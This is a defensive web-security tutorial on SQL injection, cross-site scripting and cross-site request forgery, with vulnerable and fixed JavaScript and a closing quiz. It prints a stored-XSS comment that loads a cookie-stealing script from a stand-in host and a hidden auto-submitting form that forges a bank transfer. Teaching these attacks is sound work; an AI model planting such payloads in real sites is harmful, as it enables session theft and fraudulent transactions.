Protecting your application requires a multi-layered defense. This tutorial focuses on understanding and preventing three cornerstone attacks that every developer must know how to defend against.

1. SQL Injection (SQLi) - A Quick Recap

As we covered in the OWASP Top 10 tutorial, SQLi happens when an attacker manipulates user input to interfere with the queries an application makes to its database.

  • The Cause: Concatenating unsanitized user input directly into an SQL query string.
  • The Unbreakable Defense: Always use parameterized queries (prepared statements). This technique ensures that user input is treated as pure data and never as executable code by the database.

2. Cross-Site Scripting (XSS)

What is XSS? XSS is a vulnerability where an attacker injects malicious client-side scripts (usually JavaScript) into a web page that is then viewed by other users. When an unsuspecting user visits the compromised page, their browser executes the malicious script. The script runs with the same permissions as the legitimate website, allowing it to steal session cookies, scrape data from the page, or perform actions on behalf of the user.

The Vulnerability: Rendering Untrusted User Input

  • Stored XSS Example: Imagine a blog with a comment section.
  1. An attacker submits a comment containing a malicious script: I love this post! <script src="http://evil-site.com/cookie-stealer.js"></script>
  2. Your server saves this comment to the database without sanitizing it.
  3. Every user who now visits this blog post will have their browser load and execute cookie-stealer.js.
  • Code Example (Vulnerable): Using .innerHTML or an "unescaped" template literal is a common cause.
  • JavaScript

// A user submits a comment, which is stored in the 'commentText' variable.
const commentDiv = document.createElement('div');
// VULNERABLE: The browser will parse and execute any <script> tags inside.
commentDiv.innerHTML = commentText; 
document.body.appendChild(commentDiv);

The Primary Fix: Output Encoding/Escaping

The golden rule is to treat all user-generated content as untrusted plain text. Before you render it on a page, you must "escape" or "encode" it, which means converting special HTML characters like < and > into their safe entity equivalents (&lt; and &gt;).

  • Code Example (Fixed): Modern frameworks and templating engines do this for you by default! If you need to do it manually, use properties that treat text as text.
  • JavaScript

// SAFE: .textContent treats the entire string as plain text.
// The <script> tag will be displayed on the screen, not executed.
commentDiv.textContent = commentText;
document.body.appendChild(commentDiv);
  • In a server-side templating engine like EJS, the standard <%= ... %> tag automatically escapes content. You would have to use the special <%- ... %> tag to be vulnerable.

3. Cross-Site Request Forgery (CSRF)

What is CSRF? CSRF (pronounced "sea-surf") is an attack that tricks a logged-in user's browser into making an unwanted, state-changing request to a web application where they are currently authenticated. The browser automatically includes any relevant cookies (like session cookies) with the request, so the application thinks the request is legitimate.

The Vulnerability: Relying Only on Session Cookies

  1. A user is logged in to their-bank.com. Their browser has a session cookie for this site.
  2. They visit a malicious website, evil-site.com.
  3. This malicious site contains a hidden, auto-submitting form: <form action="https://their-bank.com/transfer" method="POST"> <input type="hidden" name="amount" value="10000"> <input type="hidden" name="to_account" value="attacker_account_id"> </form> <script>document.forms[0].submit();</script>
  4. The user's browser dutifully submits this form to their-bank.com. Because the request is going to that domain, the browser attaches the session cookie. The bank's server sees a valid request from an authenticated user and transfers the money.

The Primary Fix: Anti-CSRF Tokens

The standard defense is the Synchronizer Token Pattern.

  1. When a user requests a page with a form, the server generates a unique, random, and unpredictable token.
  2. This token is embedded as a hidden field in the form and also stored in the user's session on the server.
  3. When the user submits the form, the server checks if the token from the form submission matches the token stored in the session.
  4. If they match, the request is valid. If they don't (or if the token is missing), the request is rejected. An attacker's website cannot guess this secret token, so any forged request they try to submit will fail the check.

Defense in Depth: Secure Headers & SameSite Cookies

  • Content-Security-Policy (CSP): A powerful HTTP header that tells the browser which domains are allowed to provide scripts, styles, images, etc. This is a strong defense against XSS.
  • SameSite Cookies: A modern browser feature. Setting a session cookie to SameSite=Lax (the default in most browsers now) or SameSite=Strict tells the browser not to send the cookie on cross-site requests, effectively neutralizing most CSRF attacks.

Quiz

Question: What is the fundamental difference between a Cross-Site Scripting (XSS) attack and a Cross-Site Request Forgery (CSRF) attack?

  1. XSS steals data, while CSRF deletes data.
  2. XSS exploits the trust a user has in a website, while CSRF exploits the trust a website has in a user's browser.
  3. XSS attacks are performed by injecting server-side code, while CSRF attacks inject client-side code.
  4. XSS can only be performed on GET requests, while CSRF only works on POST requests.
  • Answer: 2. XSS exploits the trust a user has in a website, while CSRF exploits the trust a website has in a user's browser.
  • Explanation: This is the core distinction. In an XSS attack, the victim is the user, whose browser is tricked into running malicious code that appears to come from a trusted site. In a CSRF attack, the victim is the website/server, which is tricked into accepting a malicious request because it was sent by a trusted user's browser (with their valid session cookies).